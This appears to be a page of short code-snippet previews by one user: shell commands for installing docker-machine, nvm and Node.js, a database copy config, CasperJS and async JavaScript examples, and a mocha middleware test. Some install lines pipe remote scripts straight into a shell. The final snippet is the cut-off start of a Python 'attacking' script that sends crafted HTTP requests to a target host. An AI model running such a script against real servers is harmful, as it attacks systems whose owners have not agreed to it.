wahengchang

curl -L https://github.com/docker/machine/releases/download/v0.12.2/docker-machine-`uname -s`-`uname -m` >/tmp/docker-machine &&
chmod +x /tmp/docker-machine
sudo cp /tmp/docker-machine /usr/local/bin/docker-machine

wahengchang

sudo yum upgrade
sudo yum install git
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.4/install.sh | bash
source ~/.bash_profile 
nvm install v6.9.5

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#####################################
#######  Config Your host here  #####
#####################################

FROM_DB_HOST="abc.com:1024"
TO_DB_HOST="def.mlab.com:1111"

FROM_DB_NAME="peter"
TO_DB_NAME="peter-dev"
#####################################

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var casper = require('casper').create();
casper.start('http://casperjs.org/');

casper.then(function() {
    this.echo('First Page: ' + this.getTitle());
});

casper.thenOpen('http://phantomjs.org', function() {
    this.echo('Second Page: ' + this.getTitle());

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# 2017/4/23
# To sync file from local to AWS EC2 by pem key
# Exclude '/node_modules'


# Check user name  *******************/
if [ -z ${SYNC_USER} ]; then
    echo "Input your EC2 name (default user: ec2-user):."
    read _userName
    if [ -z ${_userName} ]; then

wahengchang

echo 'export PATH=$HOME/local/bin:$PATH' >> ~/.bashrc
. ~/.bashrc
mkdir ~/local
mkdir ~/node-latest-install
cd ~/node-latest-install
curl http://nodejs.org/dist/node-latest.tar.gz | tar xz --strip-components=1
./configure --prefix=~/local
make install # ok, fine, this step probably takes more than 30 seconds...
curl https://www.npmjs.org/install.sh | sh

wahengchang

var sleep = function(para) {
    return new Promise(function(resolve, reject) {
        setTimeout(function() {
            resolve(para * para)
        }, 1000)
    })
}

async function asyncSleep (para){
 return await sleep(para)

wahengchang

var sleep = function(para) {
    return new Promise(function(resolve, reject) {
        setTimeout(function() {
            resolve(para * para)
        }, 1000)
    })
}

wahengchang

var middleware = require('middleware'), // the Middleware you want to test
    httpMocks = require('node-mocks-http'), // quickly sets up REQUEST and RESPONSE to be passed into Express Middleware
    request = {}, // define REQUEST
    response = {} // define RESPONSE
;

describe('Middleware test', function(){
    context('Valid arguments are passed', function() {
        beforeEach(function(done) {
            /* 

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import socket, sys, os  
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];  
def attack():  
    #pid = os.fork()  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.connect((sys.argv[1], 80))  
    print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
    s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
    s.send("Host: " + sys.argv[1]  + "\r\n\r\n");